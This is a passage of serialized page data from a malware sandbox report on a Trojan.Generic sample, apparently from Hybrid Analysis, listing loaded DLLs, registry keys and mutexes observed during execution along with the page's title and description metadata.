"msvcrt.dll","ole32.dll","winmm.dll","wbemcomn.dll","nsi.dll","rasadhlp.dll","VxSSL64.dll","ws2_32.dll","rpcrt4.dll","fltLib.dll","gdi32.dll","sechost.dll","bcryptprimitives.dll","oleaut32.dll","KernelBase.dll","msvcp_win.dll","winmmbase.dll","cfgmgr32.dll","clbcatq.dll","wbemprox.dll","wbemsvc.dll","fastprox.dll","cryptsp.dll","FWPUCLNT.DLL"]},"file_activity":{"dropped_files":null,"extracted_files":null,"files_written":[{"path":"\\Global??\\FltMgrMsg","sources":[{"report_type":"sandbox","report_id":"6a32593ab593dbce9601b04e"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\\","sources":[{"report_type":"sandbox","report_id":"6a32593ab593dbce9601b04e"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TIMEZONEINFORMATION\\","sources":[{"report_type":"sandbox","report_id":"6a32593ab593dbce9601b04e"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\WBEM\\CIMOM\\","sources":[{"report_type":"sandbox","report_id":"6a32593ab593dbce9601b04e"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:4752:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a32593ab593dbce9601b04e"}]},{"name":"SM0:4752:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a32593ab593dbce9601b04e"}]}]}},"report_ids":{"sandbox_job_ids":["6a32593ab593dbce9601b04e"]}}}]]}] 20:null 24:[["$","title","0",{"children":"Malicious Trojan.Generic Sample e2677f987327… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample e2677f987327…. Malware family: Trojan.Generic. Threat score 100/100. 9/27 AV engines flagged this file. 4 malicious and 11 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6"}],["$","meta","4",{"property":"og:title","content":"Malicious Trojan.Generic Sample e2677f987327… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample e2677f987327…. Malware family: Trojan.Generic. Threat score 100/100. 9/27 AV engines flagged this file. 4 malicious and 11 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Trojan.Generic Sample e2677f987327… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample e2677f987327…. Malware family: Trojan.Generic. Threat score 100/100. 9/27 AV engines flagged this file. 4 malicious and 11 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L41","11",{}]]